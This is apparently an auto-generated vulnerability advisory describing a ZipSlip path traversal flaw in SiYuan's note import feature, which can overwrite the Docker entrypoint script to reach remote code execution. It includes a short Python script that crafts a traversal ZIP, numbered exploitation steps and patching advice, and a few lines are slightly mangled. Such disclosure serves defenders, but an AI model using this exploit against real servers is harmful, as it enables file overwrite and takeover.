Listen to this Post
The vulnerability exists within the `importZipMd` function responsible for importing notes from a ZIP archive. During the extraction process, the application fails to validate the file paths contained within the archive. When a malicious user crafts a ZIP file containing an entry with a filename like ../../../../../../opt/siyuan/entrypoint.sh, the extraction logic does not sanitize this path. Consequently, it traverses directory boundaries and writes the file to an arbitrary, unintended location on the server’s filesystem. An authenticated attacker can leverage this to overwrite critical system files. In the official Docker container, overwriting the `entrypoint.sh` script is particularly severe. When the container restarts, this script executes automatically, allowing the attacker’s payload to run with the container’s privileges, thereby achieving remote code execution from a simple file upload.
Platform: SiYuan
Version: < 2.10.5
Vulnerability: ZipSlip
Severity: Critical
date: 2024-02-26
Prediction: 2024-03-11
What Undercode Say:
Analytics
find /opt/siyuan -name ".sh" -type f ps aux | grep siyuan
!/usr/bin/env python3
import zipfile, io, time
def prepare_zipslip(filename):
zipslip = io.BytesIO()
with zipfile.ZipFile(zipslip, 'w') as zipf:
info = zipfile.ZipInfo(filename)
zipf.writestr(info, "malicious_payload")
return zipslip.getvalue()
gz = prepare_zipslip('../../../../entrypoint.sh')
open('exp.zip', 'wb').write(gz)
How Exploit:
1. Authenticate to SiYuan.
2. Craft ZIP with traversal path.
3. Use import feature.
4. Trigger container restart.
Protection from this CVE
Update to version 2.10.5.
Implement path sanitization.
Validate archive entries.
Impact:
Arbitrary File Overwrite
Remote Code Execution
Container Persistence
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
